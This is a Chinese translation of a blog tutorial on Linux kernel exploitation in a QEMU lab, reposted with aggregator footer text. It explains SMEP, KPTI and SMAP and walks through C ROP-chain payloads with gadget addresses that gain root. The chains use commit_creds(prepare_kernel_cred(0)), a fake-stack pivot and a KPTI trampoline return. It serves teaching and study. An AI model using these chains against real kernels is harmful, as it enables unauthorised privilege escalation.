linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2
前言
在上一篇文章中,我們不僅為讀者詳細(xì)介紹了如何搭建環(huán)境,還通過一個具體的例子演示了最簡單的內(nèi)核漏洞利用技術(shù):ret2usr。在本文中,我們將逐步啟用更多的安全防御機(jī)制,即SMEP、KPTI和SMAP,并逐一解釋它們將如何影響我們的漏洞利用方法,以及如何繞過這些防御機(jī)制。
啟用SMEP機(jī)制
SMEP簡介
SMEP(Supervisormode execution protection,SMEP)機(jī)制的作用是,當(dāng)進(jìn)程在內(nèi)核模式下運(yùn)行時,該防御機(jī)制會將頁表中的所有用戶空間的內(nèi)存頁標(biāo)記為不可執(zhí)行的。在內(nèi)核中,這個功能可以通過設(shè)置控制寄存器CR4的第20位來啟用。在啟動時,可以通過在-cpu選項下加入+smep來啟用該防御機(jī)制,通過在-append選項下加入nosmep來禁用該機(jī)制。
在上一篇文章中,我們曾經(jīng)通過自己編寫的一段代碼獲得了root權(quán)限;但是,在啟用了SMEP機(jī)制后,這個策略就行不通了。原因很簡單:我們的代碼是位于用戶空間中的,但是,就像前面說過的那樣,當(dāng)進(jìn)程在內(nèi)核模式下運(yùn)行時,SMEP機(jī)制會將存放我們代碼的頁面標(biāo)記為不可執(zhí)行。再回想一下,我們大多數(shù)人學(xué)習(xí)用戶空間pwn的時候,也會遇到堆棧不可執(zhí)行的情況,所以,在學(xué)習(xí)了ret2shellcode之后,通常就會開始接觸ROP技術(shù)。同樣的概念也適用于內(nèi)核漏洞利用的學(xué)習(xí),在介紹ret2usr技術(shù)之后,我將介紹內(nèi)核ROP技術(shù)。
注意事項:正如我在第一篇文章中提到的,這里將假設(shè)讀者已經(jīng)熟悉了用戶空間的漏洞利用知識,因此,我就不再重復(fù)解釋什么是ROP了。不過,這是一種非常基礎(chǔ)的技術(shù),所以,讀者可以在網(wǎng)上找到大量介紹資料。
為了更廣泛的涵蓋不同的漏洞利用技術(shù),我將假設(shè)2種不同的場景,并分別加以詳細(xì)介紹:第一種場景就是我們當(dāng)前面對的:我們能夠向內(nèi)核棧寫入任意數(shù)量的數(shù)據(jù)。
第二種場景是:我們只能覆蓋內(nèi)核棧的返回地址。這將使漏洞利用變得更困難一些。
讓我們從研究第一種場景開始下手。
嘗試覆蓋CR4
如上所述,在內(nèi)核中,控制寄存器CR4的第20位負(fù)責(zé)啟用或禁用SMEP機(jī)制。而實際上,在內(nèi)核模式下運(yùn)行的時候,我們可以通過mov cr4,rdi等asm指令來修改這個寄存器的內(nèi)容。這樣的指令來自于一個叫native_write_cr4()的函數(shù),它可以用參數(shù)覆蓋CR4的內(nèi)容,并且,該函數(shù)本身就駐留在內(nèi)核空間中。所以,為了繞過SMEP防御機(jī)制,我們首先可以嘗試?yán)肦OP技術(shù)跳轉(zhuǎn)到native_write_cr4(value)函數(shù),其中value是精心構(gòu)造的一個值,可以將CR4的第20位清零。
與commit_creds()和prepare_kernel_cred()函數(shù)一樣,我們也可以通過閱讀/proc/kallsyms找到該函數(shù)的地址。
cat /proc/kallsyms | grep native_write_cr4
-> ffffffff814443e0 T native_write_cr4
重要提示:對于本文中將要介紹的所有漏洞利用過程,我們只解釋與ret2usr技術(shù)不同的部分。與上一篇完全相同的部分是:保存狀態(tài)、打開設(shè)備、泄漏棧cookie。
實際上,在內(nèi)核中構(gòu)建ROP鏈的方式與在用戶空間中使用的方式是完全一致的。因此,在這里,我們不會立即返回到用戶空間的代碼中,而是先返回到native_write_cr4(value)中,再返回到我們的提權(quán)代碼中。為了獲取CR4寄存器的當(dāng)前值,我們可以觸發(fā)內(nèi)核崩潰,并將其轉(zhuǎn)儲出來(或者在內(nèi)核上附加一個調(diào)試器),以得到該值。
[??? 3.794861]CR2: 0000000000401fd9 CR3: 000000000657c000 CR4: 00000000001006f0
然后,將第20位(地址為0x100000)清零,使該值變?yōu)?x6F0。下面給出相應(yīng)的payload:
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;
void overflow(void){
unsigned n =50;
unsignedlong payload[n];
unsigned off= 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++] = pop_rdi_ret; // return address
payload[off++] = 0x6f0;
payload[off++] = native_write_cr4; // native_write_cr4(0x6f0),effectively clear the 20th bit
payload[off++] = (unsigned long)escalate_privs;
puts("[*] Prepared payload");
ssize_t w =write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
對于像pop rdi ; ret這樣的gadget,我們可以通過grepping gadgets.txt輕松找到它們,這個文件是在第一篇文章中通過在內(nèi)核映像上運(yùn)行ROPgadget生成的。
注意:在內(nèi)核映像文件vmlinux中,好像并沒有提供某區(qū)段是否可執(zhí)行的信息,所以,ROPgadget會試圖找出位于該二進(jìn)制文件中的所有g(shù)adget,甚至包括那些不可執(zhí)行的gadget。也就是說,當(dāng)我們使用ROPgadget找出的gadget時,如果它是不可執(zhí)行的,那么內(nèi)核就會發(fā)生崩潰;不過,我們也不必過于擔(dān)心,這時只需要嘗試下一個gadget就行了。
理論上講,運(yùn)行上述代碼后,我們應(yīng)該會得到一個root shell。然而,在現(xiàn)實中,內(nèi)核仍然崩潰,更令人困惑的是,崩潰的原因是SMEP機(jī)制所致:
[??? 3.770954]unable to execute userspace code (SMEP?) (uid: 1000)
如果我們已經(jīng)將第20位清零的話,為什么SMEP機(jī)制仍然生效呢?我決定用dmesg來看看CR4到底發(fā)生了什么狀況,結(jié)果發(fā)現(xiàn)了下面這行內(nèi)容:
[??? 3.767510]pinned CR4 bits changed: 0x100000!?
由此看來,CR4的第20位被莫名其妙的“定住”了。為了弄清楚到底咋回事,我找到了native_write_cr4()函數(shù)的源代碼:
void native_write_cr4(unsigned long val)
{
unsigned longbits_changed = 0;
set_register:
asmvolatile("mov %0,%%cr4": "+r" (val) : :"memory");
if(static_branch_likely(&cr_pinning)) {
if(unlikely((val & cr4_pinned_mask) != cr4_pinned_bits)) {
bits_changed= (val & cr4_pinned_mask) ^ cr4_pinned_bits;
val =(val & ~cr4_pinned_mask) | cr4_pinned_bits;
gotoset_register;
}
/* Warnafter we've corrected the changed bits. */
WARN_ONCE(bits_changed,"pinned CR4 bits changed: 0x%lx!?\n",
bits_changed);
}
}
此外,我們還找到了一份與CR4相關(guān)位被定住的相關(guān)文檔。通過它,我們才知道,在較新的內(nèi)核版本中,CR4的第20位和第21位在啟動時就被“定住”了,即使該位被清零,也會立即重新被置1,所以,我們已經(jīng)無法使用前面的方法來覆蓋它了!
所以,我的第一次嘗試以失敗而告終,不過,我們還是有一定的收獲的,至少我們現(xiàn)在知道,即使我們能夠在內(nèi)核模式下覆蓋CR4,但內(nèi)核開發(fā)者已經(jīng)意識到了這一點,并設(shè)法阻止我們用這種方式來利用內(nèi)核漏洞。好吧,讓我們繼續(xù)開發(fā)一個更強(qiáng)大的、真正有效的漏洞利用方法。
構(gòu)建一個完整的提權(quán)ROP鏈
在第二次嘗試中,我們將徹底放棄通過運(yùn)行自己的代碼來獲取root權(quán)限的想法,并嘗試只使用ROP來實現(xiàn)這一任務(wù)。實際上,我們的計劃非常簡單:通過ROP轉(zhuǎn)到prepare_kernel_cred(0)。
通過ROP轉(zhuǎn)到commit_creds(),參數(shù)為步驟1的返回值。
通過ROP轉(zhuǎn)到swapgs ;ret。
通過ROP轉(zhuǎn)到iretq,堆棧設(shè)置為RIP|CS|RFLAGS|SP|SS。
如您所見,該ROP鏈本身一點都不復(fù)雜,但在構(gòu)建過程中,仍然面臨一些問題。首先,正如我上面提到的,ROPgadget找到的許多gadget是無法正常使用的。因此,我不得不進(jìn)行多次嘗試,最后用這些gadget把步驟1中的返回值(存儲在rax中)移到rdi中,以傳遞給commit_creds();不過奇怪的是,我嘗試的所有g(shù)adget都是不可執(zhí)行的:
unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret
unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret
unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret
使用這3個gadget的目的,是在不使用jne的情況下將rax移入rdi。 因此,我必須將值8彈出到rdx中,然后返回到cmp指令以使比較的結(jié)果為相等,從而確保我們不會跳轉(zhuǎn)到j(luò)ne分支:
...
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx
payload[off++] = cmp_rdx_jne_pop2_ret; // make sureJNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))
...
其次,看起來ROPgadget在尋找swapgs方面非常擅長,但是它卻找不到iretq,所以,我必須借助于objdump來查找iretq:
objdump -j .text -d ~/vmlinux | grep iretq | head -1
-> ffffffff8100c0d9:?????? 48 cf?????????????????? iretq
有了這些gadget,我們就可以構(gòu)建完整的ROP鏈了:
unsigned long user_rip = (unsigned long)get_shell;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616; // poprdx ; ret
unsigned long cmp_rdx_jne_pop2_ret =0xffffffff81964cc4; // cmp rdx, 8 ; jne 0xffffffff81964cbb ; pop rbx ; pop rbp; ret
unsigned long mov_rdi_rax_jne_pop2_ret =0xffffffff8166fea3; // mov rdi, rax ; jne 0xffffffff8166fe7a ; pop rbx ; poprbp ; ret
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long prepare_kernel_cred =0xffffffff814c67f0;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f; //swapgs ; pop rbp ; ret
unsigned long iretq = 0xffffffff8100c0d9;
void overflow(void){
unsigned n =50;
unsignedlong payload[n];
unsigned off= 16;
payload[off++] = cookie;
payload[off++] = 0x0; // rbx
payload[off++] = 0x0; // r12
payload[off++] = 0x0; // rbp
payload[off++]= pop_rdi_ret; // return address
payload[off++] = 0x0; // rdi
payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8; // rdx
payload[off++] = cmp_rdx_jne_pop2_ret; // make sure JNE doesn't branch
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret; // rdi
payload[off++] = 0x0; // dummy rbx
payload[off++] = 0x0; // dummy rbp
payload[off++] = commit_creds; //commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret; // swapgs
payload[off++] = 0x0; // dummy rbp
payload[off++] = iretq; // iretq fr ame
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++] = user_ss;
puts("[*] Prepared payload");
ssize_t w =write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
這樣,我們成功地構(gòu)建了一個繞過SMEP機(jī)制,并能在第一種場景下打開root shell的漏洞利用代碼。讓我們繼續(xù)看看在第二種情況下,我們可能會面臨什么樣的困難。
堆棧pivot技術(shù)
很明顯,如果我們只能溢出到返回地址的話,將無法把整個ROP鏈都裝到棧中。為了克服這個問題,我們將再次使用一種在用戶空間漏洞利用領(lǐng)域也相當(dāng)流行的技術(shù):堆棧pivot。這是一種修改rsp,使其指向一個受控的可寫地址,從而有效地創(chuàng)建了一個“假棧”的技術(shù)。然而,對于用戶空間中的堆棧pivot技術(shù)來說,常常需要覆蓋一個已保存的函數(shù)RBP,然后從那里返回;而在內(nèi)核中的pivot技術(shù)則簡單得多。因為內(nèi)核映像存在大量的gadget,我們可以尋找那些修改rsp/esp本身的gadget。我們最感興趣的,就是那些將常量值移入esp的gadget,同時,還要確保這些gadget是可執(zhí)行的,并且常量值是已經(jīng)正確對齊的。下面展示的是我選用的gadget:
unsigned long mov_esp_pop2_ret = 0xffffffff8196f56a;// mov esp, 0x5b000000 ; pop r12 ; pop rbp ; ret
也就是說,我們將用它來覆蓋返回地址,但在此之前,我們必須先搭建好“假棧”。由于之后esp會變成0x5b000000,因此,我們可以在該位置映射一個固定的內(nèi)存頁,然后將我們的ROP鏈寫入其中:
void build_fake_stack(void){
fake_stack =mmap((void *)0x5b000000 - 0x1000, 0x2000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
unsigned off= 0x1000 / 8;
fake_stack[0] = 0xdead; // put something in the first page to preventfault
fake_stack[off++] = 0x0; // dummy r12
fake_stack[off++] = 0x0; // dummy rbp
fake_stack[off++] = pop_rdi_ret;
... // therest of the chain is the same as the last payload
}
在上面的代碼中,有2個地方需要注意:我把內(nèi)存頁映射到了一個區(qū)間0x5b000000-0x1000,而不是精確的地址0x5b000000。這是因為像prepare_kernel_cred()和commit_creds()這樣的函數(shù),會調(diào)用內(nèi)部的其他函數(shù),導(dǎo)致堆棧增長。如果我們讓esp指向頁面的確切起始點,堆棧就沒有足夠的空間來增長,就會崩潰。
我必須在第一頁中寫入一個虛設(shè)值,否則就會導(dǎo)致Double Fault故障。根據(jù)我的理解,原因是頁面只有在被訪問后才會被插入到頁表中,而不是在被映射后就會插入。我們映射了0x2000字節(jié),相當(dāng)于2個頁面,并且把ROP鏈全部放在第二頁中,所以,我們也要訪問一下第一頁。
上面就是在只能溢出棧到返回地址的情況下,獲得一個root shell的具體方法。我對繞過SMEP的介紹也到此結(jié)束,接下來,讓我們再啟用另外一個防御措施,即KPTI。
啟用KPTI機(jī)制
關(guān)于KPTI
KPTI(Kernelpage-table isolation)是將用戶空間和內(nèi)核空間的頁表完全隔離,而不是只使用一組同時包含用戶空間和內(nèi)核空間地址的頁表的安全機(jī)制。跟以前一樣,仍然有一組頁表同時包含內(nèi)核空間和用戶空間地址,但它僅在系統(tǒng)運(yùn)行在內(nèi)核模式時使用。在用戶模式下使用的第二組頁表包含用戶空間的副本和最少的內(nèi)核空間地址集。KPTI機(jī)制可以通過在-append選項下添加kpti=1或nopti來啟用/禁用。
這個特性是內(nèi)核特有的,準(zhǔn)確來說,它是為了防止Linux內(nèi)核崩潰而引入的,因此,在用戶空間中,沒有相應(yīng)的機(jī)制可以與之類比。首先,試圖運(yùn)行上一節(jié)中的任何漏洞利用代碼都會導(dǎo)致死機(jī)。但有趣的是,死機(jī)是正常的用戶空間Segmentation故障所致,而不是內(nèi)核崩潰所致。原因是:雖然代碼已經(jīng)從內(nèi)核模式返回到用戶模式,但它所使用的頁表仍然是內(nèi)核的,而用戶空間的所有頁面都被標(biāo)記為不可執(zhí)行。
實際上,繞過KPTI機(jī)制的方法一點都不復(fù)雜,例如下面是我在一些文章中讀到的兩種方法:使用信號處理程序(該方法源自@ntrung03撰寫的一篇文章):這是一個非常巧妙的解決方案,并且非常簡單。這種方法的思路是,因為我們要處理的是用戶空間中的一個SIGSEGV,因此,可以直接在main函數(shù)中插入一行代碼:signal(SIGSEGV, get_shell);,為其添加一個調(diào)用get_shell()的信號處理程序。不過我還是沒有完全理解一件事情:因為不管出于什么原因,即使處理程序get_shell()本身也駐留在不可執(zhí)行的頁面中,但如果捕捉到一個SIGSEGV,它仍然可以正常執(zhí)行(而不是無限期地循環(huán)處理程序或執(zhí)行默認(rèn)處理程序或未定義的行為等),但它確實管用。
使用KPTI蹦床(被大多數(shù)相關(guān)文章所采用):這個方法是基于這樣的想法,即如果一個syscall正常返回,內(nèi)核中一定有一段代碼會把頁表換回用戶空間的頁表,所以我們可以嘗試重用那段代碼來達(dá)到自己的目的。這段代碼通常被稱為KPTI蹦床,它的作用是切換頁表、swapgs和iretq。我們將深入研究這種方法。
調(diào)整ROP鏈
這段代碼駐留在一個名為swapgs_restore_regs_and_return_to_usermode()的函數(shù)中,我們也可以通過閱讀/proc/kallsyms找到它的地址。
cat /proc/kallsyms | grepswapgs_restore_regs_and_return_to_usermode
-> ffffffff81200f10 Tswapgs_restore_regs_and_return_to_usermode
我們可以使用IDA考察該函數(shù)的開頭部分:
.text:FFFFFFFF81200F10???????????????? pop???? r15
.text:FFFFFFFF81200F12???????????????? pop???? r14
.text:FFFFFFFF81200F14???????????????? pop???? r13
.text:FFFFFFFF81200F16???????????????? pop???? r12
.text:FFFFFFFF81200F18???????????????? pop??? ?rbp
.text:FFFFFFFF81200F19???????????????? pop???? rbx
.text:FFFFFFFF81200F1A???????????????? pop???? r11
.text:FFFFFFFF81200F1C???????????????? pop???? r10
.text:FFFFFFFF81200F1E???????????????? pop???? r9
.text:FFFFFFFF81200F20???????????????? pop???? r8
.text:FFFFFFFF81200F22???????????????? pop???? rax
.text:FFFFFFFF81200F23???????????????? pop???? rcx
.text:FFFFFFFF81200F24???????????????? pop???? rdx
.text:FFFFFFFF81200F25???????????????? pop???? rsi
.text:FFFFFFFF81200F26???????????????? mov???? rdi, rsp
.text:FFFFFFFF81200F29???????????????? mov???? rsp, qword ptr gs:unk_6004
.text:FFFFFFFF81200F32???????????????? push??? qword ptr [rdi+30h]
.text:FFFFFFFF81200F35???????????????? push??? qword ptr [rdi+28h]
.text:FFFFFFFF81200F38???????????????? push??? qword ptr [rdi+20h]
.text:FFFFFFFF81200F3B???????????????? push??? qword ptr [rdi+18h]
.text:FFFFFFFF81200F3E???????????????? push??? qword ptr [rdi+10h]
.text:FFFFFFFF81200F41???????????????? push??? qword ptr [rdi]
.text:FFFFFFFF81200F43???????????????? push??? rax
.text:FFFFFFFF81200F44???????????????? jmp???? short loc_FFFFFFFF81200F89
...
如您所見,它首先通過從堆棧中彈出的值來恢復(fù)大量寄存器。但是,我們真正感興趣的是它切換頁表、swaps和iretq的部分,而不是這一部分。雖然只需將ROP插入該函數(shù)的開頭處即可正常工作,但由于這需要插入許多虛設(shè)的寄存器值,因此,會不必要地擴(kuò)大了我們的ROP鏈的長度。這樣的話,我們的KPTI蹦床將位于swapgs_restore_regs_and_return_to_usermode + 22處,這就是第一個mov指令的地址。
恢復(fù)初始寄存器后,以下才是對我們有用的部分:
.text:FFFFFFFF81200F89 loc_FFFFFFFF81200F89:
.text:FFFFFFFF81200F89?????????????????????????????? pop???? rax
.text:FFFFFFFF81200F8A?????????????????????????????? pop???? rdi
.text:FFFFFFFF81200F8B?????????????????????????????? call??? cs:off_FFFFFFFF82040088
.text:FFFFFFFF81200F91??????????????????????? ???????jmp????cs:off_FFFFFFFF82040080
...
.text.native_swapgs:FFFFFFFF8146D4E0???????????????? push??? rbp
.text.native_swapgs:FFFFFFFF8146D4E1???????????????? mov???? rbp, rsp
.text.native_swapgs:FFFFFFFF8146D4E4???????????????? swapgs
.text.native_swapgs:FFFFFFFF8146D4E7???????????????? pop???? rbp
.text.native_swapgs:FFFFFFFF8146D4E8???????????????? retn
...
.text:FFFFFFFF8120102E?????????????????????????????? mov???? rdi, cr3
.text:FFFFFFFF81201031?????????????????????????????? jmp???? short loc_FFFFFFFF81201067
...
.text:FFFFFFFF81201067?????????????????????????????? or????? rdi, 1000h
.text:FFFFFFFF8120106E?????????????????????????????? mov???? cr3, rdi
...
.text:FFFFFFFF81200FC7?????????????????????????????? iretq
注意,由于開頭部分多了2個pop指令,所以,我們必須在ROP鏈中放入2個虛設(shè)值。之后的代碼用于實現(xiàn)頁表切換,即通過修改控制寄存器CR3來切換頁表,最后是iretq。我們將修改ROP鏈的最后一部分,從SWAPGS|IRETQ|RIP|CS|RFLAGS|SP|SS 調(diào)整為 KPTI_trampoline|dummyRAX|dummy RDI|RIP|CS|RFLAGS|SP|SS 。
void overflow(void){
// ...
payload[off++] = commit_creds; // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode+ 22
payload[off++] = 0x0; // dummy rax
payload[off++] = 0x0; // dummy rdi
payload[off++] = user_rip;
payload[off++] = user_cs;
payload[off++] = user_rflags;
payload[off++] = user_sp;
payload[off++]= user_ss;
// ...
}
小貼士:這個payload不僅比上一節(jié)介紹的payload更易于構(gòu)建,同時,無論是否啟用KPTI機(jī)制,它都能正常工作(大多數(shù)時候KPTI會和SMEP一起啟用)。因此,建議將其作為默認(rèn)payload;對于之前的payload,只可用于演示。在面對第二種情況時,可以將堆棧用作跳板,并將這個payload放到偽造的堆棧中。
至此,我們就干凈利落地繞過了KPTI安全機(jī)制。下面,讓我們進(jìn)入本文的最后一節(jié),討論一下SMAP機(jī)制的相關(guān)問題。
啟用SMAP機(jī)制
SMAP(SupervisorMode Access Prevention,SMAP),是為了補(bǔ)充SMEP而引入的一種緩解機(jī)制:當(dāng)進(jìn)程處于內(nèi)核模式時,該機(jī)制會將頁表中所有用戶空間的內(nèi)存頁標(biāo)記為不可訪問,也就是說不能對其進(jìn)行讀寫操作。在內(nèi)核中,可以通過設(shè)置控制寄存器CR4的第21位來啟用這個防御機(jī)制;在啟動時,可以通過在-cpu選項下加入+smap來啟用該機(jī)制,通過在-append選項下加入nosmap來禁用該機(jī)制。
在兩種場景下,情況會有很大的不同:在第一種場景下,我們的整個ROP鏈都存儲在內(nèi)核堆棧上,并且不會從用戶空間訪問任何數(shù)據(jù)。因此,我們之前的payload仍然是可用的,無需任何修改。
在第二種場景下,我們實際上是將堆棧轉(zhuǎn)變成了用戶空間的一個內(nèi)存頁面。我們知道,對于像壓入和彈出堆棧這樣的操作,是需要對堆棧進(jìn)行讀寫訪問的,而SMAP機(jī)制則禁止進(jìn)行這些操作。因此,基于堆棧pivot的payload將無法使用。事實上,據(jù)我所知,我們目前針對棧的讀寫原語還不足以成功利用該漏洞,所以,我們需要更強(qiáng)大的原語來利用內(nèi)核模塊的漏洞,這可能涉及到內(nèi)存頁表和頁目錄方面的知識,或者其他一些高級主題。對于本文來說,這些主題太復(fù)雜了,這里就不深入介紹了。如果將來有機(jī)會,我們再進(jìn)行介紹。
小結(jié)
在這篇文章中,我為讀者演示了在2種不同的情況下繞過SMEP、KPTI和SMAP等安全機(jī)制的流行方法;其中,第一種情況是我們能夠在堆棧上有無限溢出,第二種情況則是沒有這種能力。本文中,我們介紹所有的漏洞利用技術(shù)都是圍繞ROP的概念進(jìn)行的,并且要借助于內(nèi)核自身中的多個gadget和代碼片段。
附錄
本文由secM整理并翻譯,不代表白帽匯任何觀點和立場
來源:https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
總結(jié)
以上是生活随笔為你收集整理的linux内核提取ret2usr,Linux内核漏洞利用技术详解 Part 2的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: miniui datagrid 隐藏列默
- 下一篇: linux两台服务器 同一个地址_【网工